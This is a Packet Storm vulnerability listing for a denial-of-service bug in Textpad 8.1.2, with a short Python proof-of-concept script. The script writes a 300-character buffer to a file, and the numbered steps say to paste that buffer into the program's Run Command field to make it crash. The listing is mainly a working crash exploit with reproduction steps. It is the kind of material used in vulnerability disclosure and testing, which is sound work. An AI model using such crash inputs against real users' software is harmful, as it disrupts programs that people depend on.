Textpad 8.1.2 Denial Of Service

Textpad version 8.1.2 suffers from a denial of service vulnerability.

MD5 | c6c89bf927ec4cfdfb768d644f818330

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# Exploit Title:     Textpad 8.1.2 - Denial Of Service (PoC)
# Discovery by:      Shubham Singh
# Known As:          Spirited Wolf [Twitter: @Pwsecspirit]
# Youtube Channel:   www.youtube.com/c/Pentestingwithspirit 
# Discovey Date:     24-08-2018
# Homepage:          https://textpad.com
# Software Link:
# 1. For x86:        https://textpad.com/download/v81/win32/txpeng812-32.zip
# 2. For x86_64:     https://textpad.com/download/v81/x64/txpeng812-64.zip
# Tested Version:    8.1.2
# Tested on OS:      Windows 7 Ultimate 64 bit
# Steps to Reproduce:
# 1. Run the python exploit script, it will create a new file with the name "exploit.txt".
# 2. Just copy the text inside "exploit.txt" and start the program.
# 3. In the new window click "Tools" > "Run...". Now paste the content of "exploit.txt".
# 4. Into the fields:"Command". Click "OK" and you will see a crash.

#!/usr/bin/python

buffer = "A" * 300

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"

Source: packetstormsecurity.com